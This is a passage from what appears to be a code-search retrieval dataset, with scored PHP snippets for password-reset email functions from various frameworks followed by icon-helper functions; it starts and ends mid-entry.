});\n\n $this->notify($passwordSend);\n }", "title": "" }, { "docid": "24539652e5a3da43d0061d69f8a1d86c", "score": "0.7406786", "text": "public function sendResetPasswordMail(array $config = []);", "title": "" }, { "docid": "6c081214534774e8bae187278dfd7b59", "score": "0.73913777", "text": "public function resetPassword() {\n $resetKey = randomString();\n self::$db->prepared_query(\"\n UPDATE users_info SET\n ResetExpires = now() + INTERVAL 1 HOUR,\n ResetKey = ?\n WHERE UserID = ?\n \", $resetKey, $this->id\n );\n $this->flush();\n (new Mail)->send($this->email(), 'Password reset information for ' . SITE_NAME,\n self::$twig->render('email/password_reset.twig', [\n 'username' => $this->username(),\n 'reset_key' => $resetKey,\n 'ipaddr' => $_SERVER['REMOTE_ADDR'],\n ])\n );\n }", "title": "" }, { "docid": "1d4e980af9d1fae748322879cb10da77", "score": "0.7359669", "text": "public function forgotPasswordAction()\n {\n $email = $this->getRequest()->getPost('email');\n if ($email) {\n if (!Zend_Validate::is($email, 'EmailAddress')) {\n $this->_message($this->__('Invalid email address.'), self::MESSAGE_STATUS_ERROR);\n return;\n }\n $customer = Mage::getModel('customer/customer')->setWebsiteId(Mage::app()->getStore()->getWebsiteId())\n ->loadByEmail($email);\n\n if ($customer->getId()) {\n try {\n $newPassword = $customer->generatePassword();\n $customer->changePassword($newPassword, false);\n $customer->sendPasswordReminderEmail();\n $this->_message($this->__('A new password has been sent.'), self::MESSAGE_STATUS_SUCCESS);\n return;\n } catch (Mage_Core_Exception $e) {\n $this->_message($e->getMessage(), self::MESSAGE_STATUS_ERROR);\n } catch (Exception $e) {\n $this->_message($this->__('Problem changing or sending password.'), self::MESSAGE_STATUS_ERROR);\n }\n } else {\n $this->_message(\n $this->__('This email address was not found in our records.'), self::MESSAGE_STATUS_ERROR\n );\n }\n } else {\n $this->_message($this->__('Customer email not specified.'), self::MESSAGE_STATUS_ERROR);\n }\n }", "title": "" }, { "docid": "deff2675c0ab75cb2db0a7be602c82f5", "score": "0.73401666", "text": "public function confirmNotificationAction()\n {\n \t$session = new Zend_Session_Namespace('forgot_password_container');\n \t$email = $session->email;\n \t\n \tApplication_Model_ForgotPasswordProcessManager::getInstance()\n \t\t->setStepComplete(Application_Model_ForgotPasswordProcessManager::STEP3);\n \t\n\t\tApplication_Model_ForgotPasswordProcessManager::getInstance()->resetProcess();\n \t\n \t//Change the password to a random password.\n \t$mapper = new Application_Model_UserMapper();\n \t$newPassword = $mapper->updatePasswordWithRandom($email);\n \t\n \t//Email password to user. \n \t$config = new Zend_Config_Ini(APPLICATION_PATH . '/configs/parameters.ini');\n \t$mail = new Zend_Mail();\n \t$mail->setSubject('Password reset');\n \t$mail->setFrom(\"noreply@{$config->system->url}\", 'System');\n \t$mail->addTo($email);\n \t$mail->setBodyHtml(\"<p>Your new toiltracker password: $newPassword</p>\");\n \t$mail->send();\n }", "title": "" }, { "docid": "63689793bacae5f6817cb503a2e2b1ca", "score": "0.7336923", "text": "public function post_forgotPassword()\n\t{\n\t\t$token = openssl_random_pseudo_bytes(100);\n\t\t$token = base64_encode($token);\n\t\t$token = md5($token);\n\t\t$email = $_POST['forgotEmail'];\n\t\t$email = filter_var($email, FILTER_SANITIZE_EMAIL);\n\n\t\t$getUser = Users::get_users_where('email', $email);\n\n\t\tif (sizeof($getUser) > 0) {\n\t\t\tUsers::update_user('reset_token', $token, 'email', $email);\n\t\t} else {\n\t\t\tResponse::redirect('idaho/forgotPassword/failure');\n\t\t}\n\n\t\t$header = 'MIME-Version: 1.0' . \"\\r\\n\";\n\t\t$header .= 'Content-type: text/html; charset=utf-8' . \"\\r\\n\";\n\n\t\t$resetMsg = 'Hello, you have requested a password reset for your account on Logan and Max\\'s travel site' . \"\\r\\n\";\n\t\t$resetMsg .= 'Here is your password ';\n\t\t$resetMsg .= '<a href=\"' . Uri::create('idaho/resetPassword/?token=') . $token . '\">reset link</a>';\n\t\t\n\t\tif (mail($email, 'Account Password Reset', $resetMsg, $header)) {\n\t\t\tResponse::redirect('idaho/forgotPassword/success');\n\t\t} else {\n\t\t\tResponse::redirect('idaho/forgotPassword/failure');\n\t\t}\n\t}", "title": "" }, { "docid": "502d1f0dc737e71a49e6b23543a36c91", "score": "0.73335356", "text": "public function testSendsPasswordResetEmail()\n {\n $user = factory(User::class)->create();\n\n $this->expectsNotification($user, ResetPassword::class);\n\n $response = $this->post('password/email', ['email' => $user->email]);\n $response->assertStatus(302);\n }", "title": "" }, { "docid": "f179caec790fe4ba2769699731ad10f7", "score": "0.73174524", "text": "public function sendPasswordResetNotification($token)\n {\n $class = null;\n if ( \\Config::has('frontEnd.user.mailables.lostPassword.handle')) {\n $class = \\Config::get('frontEnd.user.mailables.lostPassword.handle');\n }\n\n $notificationClass = ($class) ? new $class($token) : new ResetPasswordNotification($token);\n $this->notify($notificationClass);\n }", "title": "" }, { "docid": "d485c2283643322038bfd5afc406d49d", "score": "0.72992843", "text": "public function do_send_reset_password() {\n $this->auth->redirect_if_auth();\n\n # form not actually submitted\n if (!$this->input->post('do_resetpassword'))\n $this->redirect_error('sign-in/reset-password', false);\n\n # validate submitted form fields\n $this->form_validation->set_rules(\n 'email', 'email address', 'required|maxlength[255]');\n\n if (!$this->form_validation->run()) {\n # redirect back with the error message\n $errmsg = validation_errors();\n $this->redirect_error('sign-in/reset-password', $errmsg);\n }\n\n # attempt reset with backend\n $email = $this->input->post('email');\n\n $res = $this->accounting->auth->reset($email);\n if (empty($res) || $res->is_error()) {\n $errmsg = $res->get_error();\n $this->redirect_error('sign-in/reset-password', $errmsg);\n }\n\n # we're successful - start session\n $data = $res->get_data();\n if (!$data) {\n $this->redirect_error(\n 'sign-in/reset-password', 'An unexpected error has occurred.');\n }\n\n $this->session->set_userdata(\n 'xv_pwdreset_email', strtolower(trim($email)));\n\n $this->redirect_success(\n 'sign-in/reset-password', 'Please check your email inbox.');\n }", "title": "" }, { "docid": "a1ed1b6ddd45262b7612a1ac0f1a19ce", "score": "0.7273419", "text": "function sendForgotPasswordEmail();", "title": "" }, { "docid": "5dd509e6303124629faaeefedbbd6598", "score": "0.72047794", "text": "public function action_resetpw()\r\n\t{\r\n\t\tif ($this->valid_post())\r\n\t\t{\r\n\t\t\t$user = ORM::factory('user', array('email' => $this->request->post('email')));\r\n\t\t\t\r\n\t\t\t// Make sure user exists\r\n\t\t\tif ( ! $user->loaded())\r\n\t\t\t{\r\n\t\t\t\t// Delay to prevent email harvesting via random guess\r\n\t\t\t\tsleep(5);\r\n\t\t\t\tNotices::error('user.password_email.not_found');\r\n\t\t\t\t$this->request->redirect(Route::url('static'));\r\n\t\t\t}\r\n\r\n\t\t\t// Send email\t\r\n\t\t\t$email = Email::factory(Kohana::message('events2', 'user.password_email.subject'), NULL)\r\n\t\t\t\t->message\r\n\t\t\t\t(\r\n\t\t\t\t\t// Using Kostache view for our message body\r\n\t\t\t\t\tKostache::factory('email/resetpw')\r\n\t\t\t\t\t\t->set('user', $user)\r\n\t\t\t\t\t\t->set('key', $user->get_key('resetpw')),\r\n\t\t\t\t\t// MIME type\r\n\t\t\t\t\t'text/html'\r\n\t\t\t\t)\r\n\t\t\t\t->to($user->email)\r\n\t\t\t\t->from(Kohana::message('events2', 'user.registration_email.sender'))\r\n\t\t\t\t->send();\r\n\r\n\t\t\tNotices::info('user.password_email.success');\r\n\t\t}\r\n\t\t// Otherwise check if key provided\r\n\t\telse\r\n\t\t{\r\n\t\t\t$check_key = Arr::get($this->request->query(), 'key', FALSE);\r\n\t\t\t\r\n\t\t\t// Compare to stored key\r\n\t\t\tif ($check_key)\r\n\t\t\t{\r\n\t\t\t\t// Show password reset form\r\n\t\t\t\t$this->view = Kostache::factory('page/user/resetform')\r\n\t\t\t\t\t->set('key', $check_key)\r\n\t\t\t\t\t->assets(Assets::factory());\r\n\t\t\t}\r\n\t\t\t// Else, show email submission form\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "cc7457aa91d4810bece230b5fe5a9128", "score": "0.7181576", "text": "public function sendEmail()\n {\n /* @var $user \\common\\models\\User */\n $identityClassName = \\Yii::$app->user->identityClass;\n\n $user = $identityClassName::findByUsernameOrEmail($this->identifier);\n //$user = $identityClassName::\n\n if ($user) {\n if (!$identityClassName::isPasswordResetTokenValid($user->password_reset_token)) {\n $user->generatePasswordResetToken();\n }\n\n if ($user->save()) {\n if (!$user->email) {\n return false;\n }\n\n if ($this->isAdmin) {\n $resetLink = \\skeeks\\cms\\helpers\\UrlHelper::construct('admin/auth/reset-password',\n ['token' => $user->password_reset_token])->enableAbsolute()->enableAdmin();\n } else {\n $resetLink = \\skeeks\\cms\\helpers\\UrlHelper::construct('cms/auth/reset-password',\n ['token' => $user->password_reset_token])->enableAbsolute();\n }\n\n\n \\Yii::$app->mailer->view->theme->pathMap = ArrayHelper::merge(\\Yii::$app->mailer->view->theme->pathMap,\n [\n '@app/mail' =>\n [\n '@skeeks/cms/mail-templates'\n ]\n ]);\n\n\n $message = \\Yii::$app->mailer->compose('@app/mail/password-reset-token', [\n 'user' => $user,\n 'resetLink' => $resetLink\n ])\n ->setFrom([\\Yii::$app->cms->adminEmail => \\Yii::$app->cms->appName])\n ->setTo($user->email)\n ->setSubject(\\Yii::t('skeeks/cms',\n 'The request to change the password for') . \\Yii::$app->cms->appName);\n\n return $message->send();\n }\n }\n\n return false;\n }", "title": "" }, { "docid": "b79b8b36bd74d05b8dfbb3fe051218b6", "score": "0.71057564", "text": "public function testNotificationEmailsIfResetPassword()\n {\n /** @var MutableScopeConfigInterface $config */\n $config = Bootstrap::getObjectManager()\n ->get(MutableScopeConfigInterface::class);\n $config->setValue(\n 'admin/emails/forgot_email_template',\n $this->getCustomEmailTemplateId(\n 'admin_emails_forgot_email_template'\n )\n );\n $userModel = $this->_model->loadByUsername('adminUser');\n $notificator = $this->objectManager->get(\\Magento\\User\\Model\\Spi\\NotificatorInterface::class);\n $notificator->sendForgotPassword($userModel);\n /** @var TransportBuilderMock $transportBuilderMock */\n $transportBuilderMock = $this->objectManager->get(TransportBuilderMock::class);\n $sentMessage = $transportBuilderMock->getSentMessage();\n $this->assertStringContainsString(\n 'id='.$userModel->getId(),\n quoted_printable_decode($sentMessage->getBodyText())\n );\n }", "title": "" }, { "docid": "2ce6ef93ad796bedd23ce3675e601313", "score": "0.7097507", "text": "public function sendForgotPassword() {\n $pswd = generatePassword(9);\n\t\t$this->data['m_password'] = $pswd;\n\t\t\n\t\t$hash = $this->createUserHash($this->data['m_username'], $pswd);\n $rsu = mq(\"update \" . DB_TBL_MEMBERS . \" set m_hash='$hash' where mid='\" . $this->data['mid'] . \"'\");\n \n \t$email = new Email('forgot-password',$this->data,$this->data['m_username'],COMPANY_NAME . \" Forgotten Password\");\n \t$success = $email->sendEmail();\n\t\treturn $success;\n\t}", "title": "" }, { "docid": "e4d7785c1c5e8866393eb99555194273", "score": "0.70974034", "text": "public function ResetPassword(): void {\n $this->throttle(\"ResetPassword\", 2, 5, function() {\n $this->respond($this->helper->ResetPassword());\n });\n }", "title": "" }, { "docid": "036be92304e43b9925432ace147b70e6", "score": "0.70482683", "text": "private function __sendEmail()\n {\n Mail::to($this->send_to)->send(new PasswordResetMail($this));\n }", "title": "" }, { "docid": "4e4478c1c284ba35899d03da66dd972f", "score": "0.6961765", "text": "public function sendEmail()\n {\n /* @var $player Player */\n $player=Player::findOne([\n 'status' => Player::STATUS_ACTIVE,\n 'email' => $this->email,\n ]);\n $password_reset_ip=intval(Yii::$app->cache->memcache->get('password_reset_ip:'.\\Yii::$app->request->userIp));\n $password_reset_email=intval(Yii::$app->cache->memcache->get('password_reset_email:'.$this->email));\n if((Yii::$app->sys->password_reset_ip!==false && $password_reset_ip>=intval(Yii::$app->sys->password_reset_ip)) || (Yii::$app->sys->password_reset_email!==false && $password_reset_email>=intval(Yii::$app->sys->password_reset_email)))\n {\n $this->addError('email', \\Yii::t('app','Too many password reset requests. Please wait and try again later.'));\n return false;\n }\n\n if($player === null)\n {\n return false;\n }\n\n if(!Player::isPasswordResetTokenValid($player->password_reset_token))\n {\n $player->generatePasswordResetToken();\n if(!$player->save())\n {\n return false;\n }\n }\n $password_reset_ip++;\n $password_reset_email++;\n Yii::$app->cache->memcache->set('password_reset_ip:'.\\Yii::$app->request->userIp,$password_reset_ip, \\Yii::$app->sys->password_reset_ip_timeout);\n Yii::$app->cache->memcache->set('password_reset_email:'.$this->email,$password_reset_email, \\Yii::$app->sys->password_reset_email_timeout);\n $message=Yii::$app\n ->mailer\n ->compose(\n ['html' => 'passwordResetToken-html', 'text' => 'passwordResetToken-text'],\n ['user' => $player]\n )\n ->setFrom([Yii::$app->sys->mail_from => Yii::$app->sys->mail_fromName.' robot'])\n ->setTo([$player->email => $player->fullname])\n ->setSubject(\\Yii::t('app','Password reset request for {event_name}',['event_name'=>trim(Yii::$app->sys->event_name)]));\n $message->addHeader('X-tag', 'password-reset');\n $message->addHeader('X-Metadata-Requestor-IP', \\Yii::$app->request->userIp);\n return $message->send();\n }", "title": "" }, { "docid": "adc4211debc99769673e38a9ae0a063c", "score": "0.6911335", "text": "public function sendPasswordResetLink() {\n $this->password_reset_code = $this->generateToken();\n $this->save();\n try {\n $mail = new \\PHPMailer(true);\n $mail->From = getSiteEmail();\n $mail->FromName = getSiteName();\n $mail->addAddress($this->email);\n $mail->isHTML(true);\n $mail->Subject = display(\"email/forgot_password_subject\");\n $mail->Body = display(\"email/forgot_password_body\", array(\n \"user_guid\" => $this->guid\n ));\n $mail->From = getSiteEmail();\n $mail->FromName = getSiteName();\n\n $mail->isHTML(true); // Set email format to HTML\n\n $mail->send();\n return true;\n } catch (\\Exception $e) {\n return false;\n }\n }", "title": "" }, { "docid": "8b7d9c1c245da2a37ec8e502e3ead99e", "score": "0.69091", "text": "public function sendPasswordRecovery($email)\n {\n // todo send password recovery email\n }", "title": "" }, { "docid": "23c8bc41c39a52708e5ddb69e454efd8", "score": "0.690362", "text": "public function sendPasswordResetMail($email, $passwordResetUrl);", "title": "" }, { "docid": "01a2d6f6f95b64ea5c71172d10d8b193", "score": "0.69009197", "text": "public function pwForgot() {\n $credentials = [\n 'email' => $this->request->get('email'),\n ];\n\n $user = \\Sentinel::findByCredentials($credentials);\n\n\n if($activation = \\Activation::completed($user)) {\n // User is activated so create the activation url and email it to the user.\n $uri = '/register/' . 'pwreset/' . $user['id'] . '/' . $activation['code'];\n $activationUrl = url($uri);\n\n $this->pwResetEmail($activationUrl, $user['id']);\n $this->viewVars['msg'] = \"An email was sent to your mailbox with password reset instructions.\";\n } else {\n // User not activated yet\n $activation = \\Activation::exists($user);\n // Create the activation url and email it to the user.\n $uri = '/register/' . 'activation/' . $user['id'] . '/' . $activation['code'];\n $activationUrl = url($uri);\n\n $this->activationEmail($activationUrl, $user['id']);\n $this->viewVars['msg'] = \"An email was sent to your mailbox with activation instructions.\";\n }\n return $this->render('emails/test');\n }", "title": "" }, { "docid": "e519a3cfdda1887e34be5fb60251c913", "score": "0.68982553", "text": "public function forgotPasswordAction()\n {\n if (Auth::getInstance()->hasIdentity()) {\n $this->_helper->redirector->gotoUrlAndExit('/');\n }\n\n $request = $this->getRequest();\n\n $form = new ForgotPasswordForm();\n $this->view->form = $form;\n\n if (!$request->isPost() || !$form->isValid($request->getPost())) {\n return;\n }\n\n $service = new UserService();\n $service->resetPassword($form->getValues());\n\n $this->_helper->flashMessenger->addMessage('A temporary password has been sent to your email address');\n\n $this->_helper->redirector->gotoUrlAndExit('/login');\n }", "title": "" }, { "docid": "e70d24003109ecbfd1dfbba40629ddca", "score": "0.687967", "text": "public function sendPasswordResetRequestEmailMessage(UserInterface $user): void;", "title": "" }, { "docid": "9c47091e478279237059d1437a01c61d", "score": "0.6876785", "text": "function forgot_password() {\n if (!empty($this->data)) {\n $user = $this->User->findByUsername($this->data['User']['username']);\n if (empty($user)) {\n $this->Session->setflash('Sorry, the username entered was not found.');\n $this->redirect('/users/forgot_password');\n } else {\n $user = $this->__generatePasswordToken($user);\n if ($this->User->save($user) && $this->__sendForgotPasswordEmail($user['User']['id'])) {\n $this->Session->setflash('Password reset instructions have been sent to your email address.\n\t\t\t\t\t\tYou have 24 hours to complete the request.');\n $this->redirect('/users/login');\n }\n }\n }\n }", "title": "" }, { "docid": "a377f0d9273b3ba9e8d1dc698fd04d3f", "score": "0.6871045", "text": "public function send($email){\n \t$token = $this->createToken($email);\n\t\t//envia el email\n\t\t\n \tMail::to($email)->send(new ResetPasswordMail($token));\n }", "title": "" }, { "docid": "816108ea76bbb10bce0b39dce3348b92", "score": "0.68664956", "text": "public function passwordsentAction()\n\t{\n\t\t$lang = $this->lang;\n\t\t$message = __(\"Password reset instructions has been emailed to you. Follow the link in the email to reset your password.\");\n\t\t$title = __(\"Forgot Password\");\n\t\t$redirect = \"/auth/login\";\n\n\t\tinclude APPPATH.\"View/auth/message.php\";\n\t}", "title": "" }, { "docid": "c5192ca2cba98a96922f4ac1c962e2d0", "score": "0.6862398", "text": "public function sendPassword() {\n if ( !$this->emailAddress ) return;\n $headers = \"From: \" . PASSWORD_EMAIL_FROM_NAME . \" <\" . PASSWORD_EMAIL_FROM_ADDRESS . \">\";\n ob_start();\n require( TEMPLATE_PATH . \"/passwordEmail.php\" );\n $message = ob_get_contents();\n ob_clean();\n $success = mail( $this->emailAddress, PASSWORD_EMAIL_SUBJECT, $message, $headers );\n }", "title": "" }, { "docid": "4cfee0d2c27bbaba326e9f072db61085", "score": "0.6852853", "text": "public function postForgotPassword()\n {\n $user = User::where('email', '=', Input::get('email'))->first();\n \n if($user)\n {\n $user->reset_token = Input::get('_token');\n $user->save();\n require_once('Mailer.php');\n $mailer = new Mailer();\n $mailer->SendMail('reset_password/'.$user->reset_token.'/'.$user->id, $user->email);\n }\n\n return Redirect::route('sign-in');\n }", "title": "" }, { "docid": "87f20984dc290d56c9b2955f6a500b61", "score": "0.6831318", "text": "public function sendEmail(PasswordResetRequestForm $form)\n {\n /* @var $user User */\n $user = $this->users->getActiveByEmail($form->email);\n\n $this->users->save($user);\n\n $user->requestResetToken();\n\n $sent = $this\n ->mailer\n ->compose(\n ['html' => 'reset-html', 'text' => 'reset-text'],\n ['user' => $user]\n )\n ->setFrom($this->supportEmail)\n ->setTo($form->email)\n ->setSubject('Password reset for '.Yii::$app->name)\n ->send();\n\n if (!$sent) {\n throw new \\RuntimeException('Mail sending error');\n }\n }", "title": "" }, { "docid": "55d40848919835725352b205b2fbe816", "score": "0.6827521", "text": "public static function handleRunEmailResetPass() {\n Loggers::info(__METHOD__, __LINE__, __CLASS__);\n try {\n // Check if current hour < 2h -> Not run this\n if (date(\"H\") < 2) {\n if (!YII_DEBUG) {\n return;\n }\n }\n $from = time();\n $aScheduleEmail = array();\n $aIdScheduleEmail = array();\n $aUsers = array();\n $aIdUsers = array();\n ScheduleEmail::prepareData($aScheduleEmail, $aIdScheduleEmail,\n $aUsers, $aIdUsers, EmailTemplates::TEMPLATE_ID_RESET_PASSWORD);\n $countSent = count($aIdUsers);\n if ($countSent > 0) {\n foreach ($aUsers as $user) {\n // TODO: Reset password\n // Send email\n $date = date('d-m-Y');\n $data = array($date, $user->first_name, $user->temp_password, 'nkvietmy.com');\n $content = EmailTemplates::createEmailContent($data);\n EmailHandler::sendTemplateMail(EmailTemplates::TEMPLATE_ID_RESET_PASSWORD, $content, $content, $user->email);\n }\n self::deleteByArrayId($aIdScheduleEmail);\n }\n\n $to = time();\n self::logInfo($from, $to, __METHOD__, $countSent);\n } catch (Exception $ex) {\n Loggers::info(DomainConst::CONTENT00263, $ex->getMessage(), get_class());\n }\n }", "title": "" }, { "docid": "9776254e5ed7e9d26e49adc7fbcd48ae", "score": "0.68259305", "text": "public function resetPassword(){\n $userID = Input::get('id');\n $pass = Input::get('password');\n $userEmail = Input::get('resetemail');\n if(!empty($userID)) {\n $user = new User();\n $user = User::find($userID);\n $user->id = $userID;\n $user->password = Hash::make(($pass));\n if ($user->save()) {\n try {\n Mail::send('emails.resetpassd', ['newpass' => $pass ], function ($m) use ($userEmail) {\n $m->to($userEmail)->subject('Express Rental');\n });\n }catch(Exception $ex){\n\n }\n echo 1;\n } else {\n echo 0;\n }\n }\n exit;\n }", "title": "" } ]
9afcd901bb7cd447f68d8ae8e1b28d9f
Icon Class for Type Color Size
[ { "docid": "6e904d258bd5e2839839e3d1467a837e", "score": "0.0", "text": "function spyropress_generate_teaser_one( $spyropress_item, $spyropress_atts ){\n $spyropress_icons = array( 'icon' );\n if( isset( $spyropress_item['spyropress_icon'] ) ){\n $spyropress_icons[] = $spyropress_item['spyropress_icon'];\n }\n if( isset( $spyropress_item['spyropress_icon_color'] ) ){\n $spyropress_icons[] = $spyropress_item['spyropress_icon_color'];\n }\n $spyropress_title = isset($spyropress_item['spyropress_title']) ? $spyropress_item['spyropress_title'] : '';\n $spyropress_content = isset($spyropress_item['spyropress_content']) ? $spyropress_item['spyropress_content'] : '';\n \n if (!empty('spyropress_title') || !empty('spyropress_content')) :\n //Retrun Html\n return \n '<div class=\"'. esc_attr( $spyropress_atts['column_class'] ) .'\">\n <span class=\"'. esc_attr( spyropress_clean_cssclass( $spyropress_icons ) ) .'\"></span>\n <h5>'. esc_html( $spyropress_title ) .'</h5>\n <p>'. esc_html( $spyropress_content ) .'</p>\n </div>';\n endif;\n }", "title": "" } ]
[ { "docid": "93adb45c02f8568be43ab9b01c8c7afd", "score": "0.668189", "text": "public function getIcon() {}", "title": "" }, { "docid": "0e5191ff4ea060d17b8f95ee888145a9", "score": "0.66448206", "text": "public function getIcon();", "title": "" }, { "docid": "0e5191ff4ea060d17b8f95ee888145a9", "score": "0.66448206", "text": "public function getIcon();", "title": "" }, { "docid": "b3f5d7df788f6e84f76a89235a5b7216", "score": "0.65654117", "text": "public function getIconSizeClass()\n {\n $size = $this->config()->default_icon_size;\n \n if (($parent = $this->getParent()) && $parent->IconSize) {\n $size = $parent->IconSize;\n }\n \n return sprintf('size-%d', $size);\n }", "title": "" }, { "docid": "5719f47d253145b30d44b2ee72068b42", "score": "0.65195495", "text": "public function get_icon() {\n\t\treturn 'eicon-icon-box';\n\t}", "title": "" }, { "docid": "8c475f9523510aa0ccfe4962b3003748", "score": "0.648596", "text": "public function getIcon()\n {\n return $this->getMethod()->images['size2x'];\n }", "title": "" }, { "docid": "bf67bb0b19621c0133e4974a7455c457", "score": "0.64671624", "text": "public function setIconColor(?string $iconColor): InfoboxInterface;", "title": "" }, { "docid": "6fdfd1a7342dc76b2c4b72404501e9ee", "score": "0.63532305", "text": "public function getIcon()\n {\n }", "title": "" }, { "docid": "c3766d89685face424133d2962a0fa2d", "score": "0.6274184", "text": "protected function imageIcon(): string\n {\n $types = [\n 'image' => 'file-image',\n 'video' => 'file-video',\n 'document' => 'file-document',\n 'audio' => 'file-audio',\n 'code' => 'file-code',\n 'archive' => 'file-zip'\n ];\n\n $extensions = [\n 'xls' => 'file-spreadsheet',\n 'xlsx' => 'file-spreadsheet',\n 'csv' => 'file-spreadsheet',\n 'docx' => 'file-word',\n 'doc' => 'file-word',\n 'rtf' => 'file-word',\n 'mdown' => 'file-text',\n 'md' => 'file-text'\n ];\n\n return $extensions[$this->model->extension()] ??\n $types[$this->model->type()] ??\n parent::imageDefaults()['color'];\n }", "title": "" }, { "docid": "0e5b8e75a370e5d06b47bd995f0d1261", "score": "0.6257448", "text": "public function icon($icon);", "title": "" }, { "docid": "987ad4d42935cb9a2abdb3a7a56dc0d8", "score": "0.62355465", "text": "public function getIconClass()\n {\n return $this->iconClass;\n }", "title": "" }, { "docid": "e39a085c5103dbae18c0073eeb1966e6", "score": "0.6214066", "text": "public function get_icon() {\n\t\treturn 'eicon-image';\n\t}", "title": "" }, { "docid": "b70b233d0d64ed6b0e3f9cf6bf97875e", "score": "0.6205987", "text": "public static function getTypeIcon($type_id)\n {\n $db = JFactory::getDbo();\n $db->setQuery(\"Select type_icon from #__osrs_types where id = '$type_id'\");\n $type_icon = $db->loadResult();\n if($type_icon == \"\"){\n $type_icon = \"1.png\";\n }\n return $type_icon;\n }", "title": "" }, { "docid": "1d3594f2b1f0fe6d2825fc8faab9dd29", "score": "0.6197245", "text": "public function icon(): string;", "title": "" }, { "docid": "3e8cf84add1de897da99a8fdb7831a79", "score": "0.6167323", "text": "protected function get__icon()\n\t{\n\t\treturn 'coffee';\n\t}", "title": "" }, { "docid": "cde6f690a028db464ea098a3654431e5", "score": "0.6162701", "text": "public static function makeIcon(string $type): string\n {\n switch ($type) {\n case self::FAIL:\n return '✕';\n case self::SKIPPED:\n return 's';\n case self::RISKY:\n return 'r';\n case self::INCOMPLETE:\n return 'i';\n case self::WARN:\n return 'w';\n case self::RUNS:\n return '•';\n default:\n return '✓';\n }\n }", "title": "" }, { "docid": "1090811ac9ce8b9be31de2bed6525229", "score": "0.6133474", "text": "public function get_icon_name($size = Theme :: ICON_SMALL)\n {\n return $size;\n }", "title": "" }, { "docid": "85e7b355d2c9dd952232639b256da891", "score": "0.6104166", "text": "public function getIcon()\n {\n return $this->get(self::_ICON);\n }", "title": "" }, { "docid": "36dbf4f28c3e2214d2a78b4f30098936", "score": "0.61014867", "text": "function addIcon($i){\n return $this->add('Icon',null,'Icon')->set($i)->addClass('atk-size-mega');\n }", "title": "" }, { "docid": "08063f190934aa3c9f99387a85e40f64", "score": "0.6067106", "text": "static function get_icon( $icon = '', $classes = '', $color = '', $size = 40 ) {\n $icon = sanitize_title( $icon );\n if ( ! $icon ) {\n return;\n }\n\n $atts = [\n 'alt' => $icon,\n 'class' => 'o-icon o-icon--' . $icon,\n ];\n\n if ( $classes ) {\n $atts['class'] = $classes . ' ' . $atts['class'];\n }\n\n if ( Pedestal()->is_email() ) {\n $color = $color ?: 'primary';\n $base = get_template_directory_uri();\n // Border must be removed for MSO\n $atts['border'] = '0';\n // Size must be set explicitly for MSO\n if ( $size && is_numeric( $size ) ) {\n $atts['width'] = $size;\n }\n // Primary colors are set per child theme, so assets must be stored there\n if ( 'primary' == $color ) {\n if ( ! defined( 'PEDESTAL_BRAND_COLOR' ) ) {\n return;\n }\n $color = PEDESTAL_BRAND_COLOR;\n $base = get_stylesheet_directory_uri();\n }\n $icon = $icon . '.' . str_replace( '#', '', $color );\n $location = \"{$base}/assets/images/icons/png/{$icon}.png\";\n return static::get_png( $location, $atts );\n }\n\n $base = get_template_directory();\n $location = \"{$base}/assets/images/icons/svg/{$icon}.svg\";\n return static::get_svg( $location, $atts );\n }", "title": "" }, { "docid": "fc291ca0437be10a529b674d8f9fb11b", "score": "0.60378426", "text": "public static function getIcon(): string\n {\n }", "title": "" }, { "docid": "fc291ca0437be10a529b674d8f9fb11b", "score": "0.60378426", "text": "public static function getIcon(): string\n {\n }", "title": "" }, { "docid": "08904d187af69a125a8a29888c002bfb", "score": "0.6029173", "text": "public function getSvgIcon();", "title": "" }, { "docid": "447cee0645d88829196325ceaae2a68a", "score": "0.59935325", "text": "function thirdtheme_custom_icon()\n {\n add_theme_support('post-thumbnails');\n add_image_size('iconsize',55,45);\n $args = array(\n 'labels' => array('name' =>__('icon'),\n 'add_new' =>__('add new icon')),\n \n 'public' => true,\n 'menu_icon' => 'dashicons-art',\n 'show_in_menu' => true,\n 'has_archive' => true,\n 'supports' => array( 'title','editor','thumbnail' )); \n register_post_type('icon',$args);\n }", "title": "" }, { "docid": "c98da28acc71ab16c50b445b20c39345", "score": "0.59530145", "text": "public function getIcon()\n {\n return $this->Icon;\n }", "title": "" }, { "docid": "35823152fef488057363f158c1342aad", "score": "0.5948486", "text": "public function getIconName() {}", "title": "" }, { "docid": "35823152fef488057363f158c1342aad", "score": "0.5948486", "text": "public function getIconName() {}", "title": "" }, { "docid": "35823152fef488057363f158c1342aad", "score": "0.59482676", "text": "public function getIconName() {}", "title": "" }, { "docid": "35823152fef488057363f158c1342aad", "score": "0.59482676", "text": "public function getIconName() {}", "title": "" }, { "docid": "1c2e9988f6a1f1cfe47d1652fa98089d", "score": "0.5913516", "text": "public function getIconColor(): ?string;", "title": "" }, { "docid": "3ecee7eb484ba54b90d5b73fa5b8d8d1", "score": "0.5910759", "text": "public function setIcon($icon);", "title": "" }, { "docid": "e70d23a9629aa036142adac6e40343ad", "score": "0.58665293", "text": "public function getCategoryIcon();", "title": "" }, { "docid": "f7838f36bed74e47c37acb65df76cf24", "score": "0.5863241", "text": "function caNavIcon($pn_type, $pm_size=2, $pa_attributes=null, $pa_options=null) {\n\t\tif (!is_array($pa_attributes)) { $pa_attributes = array(); }\n\t\t\n\t\t$vs_opt_class = $pa_attributes['class'] ? ' '.$pa_attributes['class'] : '';\n\t\tunset($pa_attributes['class']);\n\t\t\n\t\tif ($vs_color = caGetOption('color', $pa_options, null)) {\n\t\t\tif (is_integer($vs_color[0])) { $vs_color = \"#{$vs_color}\"; }\n\t\t\tif (!isset($pa_attributes['style'])) { $pa_attributes['style'] = ''; }\n\t\t\t$pa_attributes['style'] = \"color: {$vs_color};\".$pa_attributes['style'];\n\t\t}\n\t\t\n\t\tif (is_array($va_icon = _caNavIconTypeToName($pn_type))) {\n\t\t\t$vs_size = '';\n\t\t\tif (is_integer($pm_size)) {\n\t\t\t\t$vs_size = \"fa-{$pm_size}x\";\n\t\t\t} elseif(substr(strtolower($pm_size), -2) == 'px') {\n\t\t\t\tif (!isset($pa_attributes['style'])) { $pa_attributes['style'] = ''; }\n\t\t\t\t$pa_attributes['style'] = \"font-size: {$pm_size};\".$pa_attributes['style'];\n\t\t\t} elseif($pm_size) {\n\t\t\t\t$vs_opt_class .= \" {$pm_size}\";\n\t\t\t}\n\t\t\t\n\t\t\t$vs_rotate_class = '';\n\t\t\tif (isset($pa_options['rotate']) && in_array((int)$pa_options['rotate'], array(0, 90, 270))) {\n\t\t\t\t$vs_rotate_class = 